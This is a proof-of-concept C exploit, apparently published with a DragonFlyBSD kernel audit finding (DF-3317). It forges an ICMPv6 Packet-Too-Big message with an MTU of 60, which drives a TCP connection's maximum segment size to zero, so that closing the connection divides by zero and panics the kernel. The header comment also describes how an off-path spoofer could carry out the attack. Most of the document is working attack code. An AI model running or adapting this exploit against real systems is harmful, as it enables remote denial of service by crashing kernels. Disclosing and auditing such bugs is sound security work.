⬢ DragonFlyBSD Kernel Audit
DF-3317 / ptb6.c
← back to finding ↓ download raw
/*
 * DF-3317 PoC -- tcp6_ctlinput() dispatches ICMPv6 Packet-Too-Big to
 * tcp_mtudisc() with NO sequence validation and NO IPv6 minimum-MTU
 * (IPV6_MMTU=1280) floor.
 *
 * BUG (sys/netinet/tcp_subr.c):
 *   tcp6_ctlinput() (1575-1590) takes the 32-bit icmp6_mtu verbatim:
 *       arg = ntohl(icmp6->icmp6_mtu);  notify = tcp_mtudisc;
 *   and calls in6_pcbnotify() (1628-1630) with ONLY the port pair
 *   (struct tcp_portonly -- the quoted th_seq is never even copied,
 *   let alone validated against [snd_una, snd_max) the way the IPv4
 *   twin tcp_ctlinput() does at 1509-1511).
 *
 *   => an off-path blind forger needs only the connection 4-tuple.
 *   With mtu=60 (IPv6 40 + TCP 20):  tcp_mtudisc() computes
 *       maxopd = 60 - (40+20) = 0        (tcp_subr.c:1820-1823)
 *       tp->t_maxopd = 0; mss = 0; tp->t_maxseg = 0   (1852-1871)
 *   and t_maxseg is u_int (tcp_var.h:223).  On the NEXT tcp_close()
 *   of that connection, with >=16 RTT samples (tcp_subr.c:945) and
 *   the ssthresh-save block entered (1006-1008):
 *       i = (i + tp->t_maxseg / 2) / tp->t_maxseg;    (1013)
 *   => integer DIVIDE BY ZERO => kernel panic.
 *
 *   RFC 8200 5.2: a node MUST discard PTB reporting MTU < 1280.
 *   icmp6_mtudisc_update() (icmp6.c:1078) gets this right for the
 *   route; the TCP notify path never checks.
 *
 * PRIVILEGE MODEL: this PoC runs as root ONLY because injecting raw
 * ICMPv6 locally requires a raw socket.  The attack it models needs
 * NO local privilege: the real attacker is an off-path IPv6 spoofer
 * who knows the victim 4-tuple (ports are guessable/scannable).
 *
 * usage: ptb6 [-p port] [-m mtu] [-n rtt_rounds] [-s sndbuf]
 *            [-R rto_wait_secs] [-x]   (-x: skip the close/panic step)
 */
#define _KERNEL_STRUCTURES
#include <sys/param.h>
#include <sys/sysctl.h>
#include <sys/socket.h>
#include <sys/socketvar.h>
#include <sys/types.h>
#include <sys/uio.h>

#include <net/route.h>
#include <netinet/in.h>
#include <netinet/in_systm.h>
#include <netinet/ip.h>
#include <netinet/ip6.h>
#include <netinet/in_pcb.h>
#include <netinet/icmp6.h>
#include <netinet/tcp.h>
#include <netinet/tcpip.h>
#include <netinet/tcp_seq.h>
#include <netinet/tcp_fsm.h>
#include <netinet/tcp_timer.h>
#include <netinet/tcp_var.h>

#include <arpa/inet.h>

#include <errno.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

struct ptb6_args {
	int		port;
	int		mtu;
	int		rtt_rounds;
	int		sndbuf;
	int		rto_wait;
	int		no_close;
	int		blast;
	int		preclose_wait;
};

static void
die(const char *s)
{
	fprintf(stderr, "ptb6: %s: %s\n", s, strerror(errno));
	exit(1);
}

/* ---- dump the client connection's tcpcb fields via pcblist ------- */
static int
show_tp(int lport, int fport, const char *tag)
{
	int mib[4];
	size_t miblen = sizeof(mib) / sizeof(mib[0]);
	struct xtcpcb *xt;
	char *buf = NULL;
	size_t len = 0, cap = 0;
	int found = 0;

	if (sysctlnametomib("net.inet.tcp.pcblist", mib, &miblen) < 0)
		die("sysctlnametomib(pcblist)");
	for (;;) {
		int rc;
		len = 0;
		rc = sysctl(mib, miblen, NULL, &len, NULL, 0);
		if (rc == 0 && len > cap) {
			free(buf);
			cap = len + len / 8 + 4096;
			buf = malloc(cap);
			if (!buf)
				die("malloc");
		}
		len = cap;
		rc = sysctl(mib, miblen, buf, &len, NULL, 0);
		if (rc == 0)
			break;
		if (errno != ENOMEM)
			die("sysctl(pcblist)");
	}
	for (xt = (struct xtcpcb *)buf;
	    (char *)xt + sizeof(*xt) <= buf + len; xt++) {
		struct inpcb *inp = &xt->xt_inp;
		if (inp->inp_inc.inc_isipv6 == 0)
			continue;
		if (inp->inp_inc.inc_lport != htons(lport))
			continue;
		if (inp->inp_inc.inc_fport != htons(fport))
			continue;
		printf("%s: t_state=%u t_maxseg=%u t_maxopd=%u "
		    "t_rttupdated=%lu snd_ssthresh=%lu snd_cwnd=%lu\n",
		    tag, xt->xt_tp.t_state, xt->xt_tp.t_maxseg,
		    xt->xt_tp.t_maxopd,
		    (unsigned long)xt->xt_tp.t_rttupdated,
		    (unsigned long)xt->xt_tp.snd_ssthresh,
		    (unsigned long)xt->xt_tp.snd_cwnd);
		found = 1;
	}
	free(buf);
	return (found);
}

/* ---- forge ICMPv6 Packet Too Big quoting client->server ----------
 * NOTE: AF_INET6 SOCK_RAW never transmits a caller-built IPv6 header;
 * the kernel prepends its own (src/dst from the sendto route, nxt=58).
 * We send only the ICMPv6 message + quoted packet.
 */
static void
inject_ptb(int mtu, int cport, int sport)
{
	unsigned char pkt[8 + sizeof(struct ip6_hdr) +
	    sizeof(struct tcphdr)];
	struct icmp6_hdr *ic6 = (struct icmp6_hdr *)pkt;
	struct ip6_hdr *qip6 = (struct ip6_hdr *)(ic6 + 1);
	struct tcphdr *th = (struct tcphdr *)(qip6 + 1);
	struct sockaddr_in6 dst;
	struct in6_addr lo;
	int s;

	memset(pkt, 0, sizeof(pkt));

	/* the error: Packet Too Big, next-hop MTU = attacker value */
	ic6->icmp6_type = ICMP6_PACKET_TOO_BIG;
	ic6->icmp6_code = 0;
	ic6->icmp6_cksum = 0;		/* kernel computes it */
	ic6->icmp6_mtu = htonl(mtu);

	/* quoted (inner) packet: client -> server, TCP.
	 * th_seq is arbitrary: tcp6_ctlinput never validates it. */
	if (inet_pton(AF_INET6, "::1", &lo) != 1)
		die("inet_pton");
	qip6->ip6_flow = htonl(6 << 28);
	qip6->ip6_plen = htons(sizeof(struct tcphdr));
	qip6->ip6_nxt = IPPROTO_TCP;
	qip6->ip6_hlim = 64;
	qip6->ip6_src = lo;		/* client = ::1 */
	qip6->ip6_dst = lo;		/* server = ::1 */
	th->th_sport = htons(cport);
	th->th_dport = htons(sport);
	th->th_seq = htonl(0x41424344);	/* garbage -- no check */
	th->th_off = sizeof(struct tcphdr) >> 2;
	th->th_flags = TH_ACK;

	s = socket(AF_INET6, SOCK_RAW, IPPROTO_ICMPV6);
	if (s < 0)
		die("socket(ICMPV6 raw)");
	memset(&dst, 0, sizeof(dst));
	dst.sin6_family = AF_INET6;
	dst.sin6_len = sizeof(dst);
	dst.sin6_addr = lo;
	if (sendto(s, pkt, sizeof(pkt), 0, (struct sockaddr *)&dst,
	    sizeof(dst)) < 0)
		die("sendto(PTB)");
	close(s);
	printf("ptb6: injected ICMPv6 PTB mtu=%d quoting ::1.%d -> ::1.%d\n",
	    mtu, cport, sport);
}

int
main(int argc, char **argv)
{
	struct ptb6_args a = { .port = 0xC001, .mtu = 60,
	    .rtt_rounds = 40, .sndbuf = 524288, .rto_wait = 2,
	    .no_close = 0, .blast = 0, .preclose_wait = 0 };
	struct sockaddr_in6 lsa;
	struct linger lg = { 1, 0 };
	int lst, cli, srv, one = 1, ch, i, flags;
	char b[128];

	setvbuf(stdout, NULL, _IONBF, 0);

	while ((ch = getopt(argc, argv, "p:m:n:s:R:bwx")) != -1) {
		switch (ch) {
		case 'p': a.port = atoi(optarg); break;
		case 'm': a.mtu = atoi(optarg); break;
		case 'n': a.rtt_rounds = atoi(optarg); break;
		case 's': a.sndbuf = atoi(optarg); break;
	case 'R': a.rto_wait = atoi(optarg); break;
	case 'b': a.blast = 1; break;
	case 'w': a.preclose_wait = atoi(optarg); break;
	case 'x': a.no_close = 1; break;
		default: goto usage;
		}
	}
	argc -= optind;
	argv += optind;
	if (argc != 0) {
usage:
		fprintf(stderr, "usage: ptb6 [-p port] [-m mtu] "
		    "[-n rtt_rounds] [-s sndbuf] [-R rto_secs] [-x]\n");
		return (2);
	}

	/* 1. listener + client on [::1] */
	lst = socket(AF_INET6, SOCK_STREAM, 0);
	if (lst < 0)
		die("socket(lst)");
	setsockopt(lst, SOL_SOCKET, SO_REUSEADDR, &one, sizeof(one));
	memset(&lsa, 0, sizeof(lsa));
	lsa.sin6_family = AF_INET6;
	lsa.sin6_len = sizeof(lsa);
	lsa.sin6_addr = in6addr_loopback;
	lsa.sin6_port = htons(a.port);
	if (bind(lst, (struct sockaddr *)&lsa, sizeof(lsa)) < 0)
		die("bind");
	if (listen(lst, 8) < 0)
		die("listen");

	cli = socket(AF_INET6, SOCK_STREAM, 0);
	if (cli < 0)
		die("socket(cli)");
	/* No TCP options: keeps mss == maxopd == 0 exactly (with
	 * timestamps, mss = 0 - TCPOLEN_TSTAMP_APPA = -12 and the
	 * unsigned clamp at tcp_subr.c:1868 turns it into ssb_hiwat). */
	setsockopt(cli, IPPROTO_TCP, TCP_NOOPT, &one, sizeof(one));
	if (connect(cli, (struct sockaddr *)&lsa, sizeof(lsa)) < 0)
		die("connect");
	srv = accept(lst, NULL, NULL);
	if (srv < 0)
		die("accept");
	setsockopt(cli, IPPROTO_TCP, TCP_NODELAY, &one, sizeof(one));
	setsockopt(srv, IPPROTO_TCP, TCP_NODELAY, &one, sizeof(one));

	/* learn the client's ephemeral port (matches inc_lport) */
	{
		struct sockaddr_in6 me;
		socklen_t ml = sizeof(me);
		getsockname(cli, (struct sockaddr *)&me, &ml);
		i = ntohs(me.sin6_port);
		printf("ptb6: conn [::1].%d <-> [::1].%d\n", i, a.port);
	}

	/* 2. RTT samples: t_rttupdated must reach >= 16 */
	for (i = 0; i < a.rtt_rounds; i++) {
		if (write(cli, "ping", 4) != 4)
			die("write");
		if (read(srv, b, sizeof(b)) < 0)
			die("read(srv)");
		if (write(srv, "pong", 4) != 4)
			die("write(srv)");
		if (read(cli, b, sizeof(b)) < 0)
			die("read(cli)");
	}
	/* 3. (optional) collapse snd_ssthresh via a forced persist/rexmit;
	 *    not needed for the panic -- the ssthresh-save block is entered
	 *    as long as rmx_ssthresh != 0 on the route (seeded with
	 *    	route change -inet6 -host ::1 -ssthresh 1024
	 *    which models the organic state left behind by any previously
	 *    congested connection over the same route). */
	if (a.blast) {
		if (setsockopt(cli, SOL_SOCKET, SO_SNDBUF, &a.sndbuf,
		    sizeof(a.sndbuf)) < 0)
			perror("SO_SNDBUF (non-fatal)");
		one = 1024;
		if (setsockopt(srv, SOL_SOCKET, SO_RCVBUF, &one,
		    sizeof(one)) < 0)
			perror("SO_RCVBUF (non-fatal)");
		flags = fcntl(cli, F_GETFL, 0);
		fcntl(cli, F_SETFL, flags | O_NONBLOCK);
		for (i = 0; i < 200000; i++) {
			if (write(cli, "x", 1) < 0) {
				if (errno == EAGAIN || errno == ENOBUFS)
					break;
				die("blast write");
			}
		}
		printf("ptb6: blast blocked after %d bytes; waiting %ds\n",
		    i, a.rto_wait);
	}
	sleep(a.rto_wait);

	{
		struct sockaddr_in6 me;
		socklen_t ml = sizeof(me);
		getsockname(cli, (struct sockaddr *)&me, &ml);
		if (!show_tp(ntohs(me.sin6_port), a.port, "before-PTB "))
			printf("ptb6: WARNING conn not found in pcblist\n");
	}

	/* 4. blind-forgery equivalent: no seq knowledge needed */
	{
		struct sockaddr_in6 me;
		socklen_t ml = sizeof(me);
		getsockname(cli, (struct sockaddr *)&me, &ml);
		inject_ptb(a.mtu, ntohs(me.sin6_port), a.port);
	}

	{
		struct sockaddr_in6 me;
		socklen_t ml = sizeof(me);
		getsockname(cli, (struct sockaddr *)&me, &ml);
		if (!show_tp(ntohs(me.sin6_port), a.port, "after-PTB  "))
			printf("ptb6: WARNING conn not found in pcblist\n");
	}

	/* 5. linger-abort close -> tcp_drop -> tcp_close -> (t_maxseg==0)
	 *    i = (i + t_maxseg/2) / t_maxseg   ==> divide by zero */
	if (a.no_close) {
		printf("ptb6: -x given; sleeping so you can inspect\n");
		sleep(120);
		return (0);
	}
	if (a.preclose_wait) {
		printf("ptb6: sleeping %ds before the aborting close\n",
		    a.preclose_wait);
		sleep(a.preclose_wait);
	}
	printf("ptb6: aborting client (SO_LINGER 0) ... tcp_close next; "
	    "expect panic if t_maxseg==0 and ssthresh block entered\n");
	setsockopt(cli, SOL_SOCKET, SO_LINGER, &lg, sizeof(lg));
	close(cli);
	printf("ptb6: close returned (no panic -- diagnose above)\n");
	close(srv);
	close(lst);
	return (0);
}